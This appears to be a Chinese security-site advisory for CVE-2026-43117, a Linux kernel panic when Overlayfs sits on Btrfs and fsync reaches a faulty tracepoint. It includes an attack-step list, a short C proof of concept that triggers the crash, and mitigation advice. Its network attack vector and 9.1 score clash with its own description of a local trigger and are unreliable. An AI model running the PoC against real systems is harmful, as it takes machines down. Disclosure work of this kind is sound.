IPBUF安全漏洞报告
English
CVE-2026-43117 CVSS 9.1 严重

CVE-2026-43117 Linux内核Btrfs文件系统崩溃漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43117
漏洞类型
拒绝服务
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核拒绝服务BtrfsOverlayfs内核崩溃DoS

漏洞概述

Linux内核中的Btrfs文件系统模块存在一个严重的拒绝服务漏洞。该漏洞源于`btrfs_sync_file`事件跟踪点中获取超级块的逻辑错误。当Btrfs文件系统被Overlayfs层叠使用时,内核代码错误地将Overlayfs的超级块当作Btrfs的超级块进行处理。随后的fsid赋值操作因访问了错误的内存地址而导致内核崩溃。由于该漏洞无需用户交互且无需特殊权限即可通过网络或本地触发,攻击者可利用此漏洞造成系统宕机,严重影响系统的高可用性。

技术细节

该漏洞位于Linux内核fs/btrfs/trace.c及相关文件处理逻辑中。在`btrfs_sync_file`的tracepoint回调中,代码原使用`dentry->d_sb`来获取文件系统的超级块结构。然而,在Overlayfs覆盖Btrfs的场景下,VFS层返回的dentry->d_sb指向的是上层Overlayfs的super_block,而非底层的Btrfs super_block。由于Overlayfs和Btrfs的结构体布局差异,代码尝试从错误的结构体中提取或写入fsid时,会触发空指针引用或越界访问,导致Kernel Panic(内核恐慌)。攻击者可以通过在受影响的系统配置下执行文件同步操作(如fsync系统调用)来触发此漏洞路径,从而实现本地拒绝服务攻击,若配置允许远程文件操作,也可能导致远程崩溃。

攻击链分析

STEP 1
环境配置
攻击者确认目标系统使用了Overlayfs挂载在Btrfs文件系统之上的配置。
STEP 2
文件操作
攻击者在Overlayfs挂载的目录下创建或打开一个文件。
STEP 3
触发同步
攻击者对该文件执行fsync系统调用,触发内核中的btrfs_sync_file函数。
STEP 4
内核崩溃
tracepoint回调函数错误获取Overlayfs超级块,导致非法内存访问,系统发生Kernel Panic并宕机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-43117 // Trigger requires Btrfs as underlying fs with Overlayfs on top #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(int argc, char *argv[]) { int fd; const char *file_path = "/mnt/overlay/test_file"; // Path on overlayfs printf("[+] Attempting to trigger CVE-2026-43117...\n"); // Open or create a file on the Overlayfs mount point fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Open failed"); return 1; } // Write some data to ensure metadata is generated if (write(fd, "test", 4) < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[*] Calling fsync on file...\n"); // The fsync call triggers btrfs_sync_file -> tracepoint -> dentry->d_sb crash if (fsync(fd) < 0) { // fsync might fail or return error, but the crash happens inside kernel perror("[-] Fsync failed (check kernel logs for panic)"); } else { printf("[+] Fsync returned (kernel might have panicked)"); } close(fd); return 0; }

影响范围

Linux Kernel (Versions prior to commits listed in references)

防御指南

临时缓解措施
建议用户尽快更新操作系统内核。若暂时无法更新,应避免使用Overlayfs与Btrfs的组合,或限制非管理员用户对挂载点的写入权限,以降低恶意触发漏洞的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表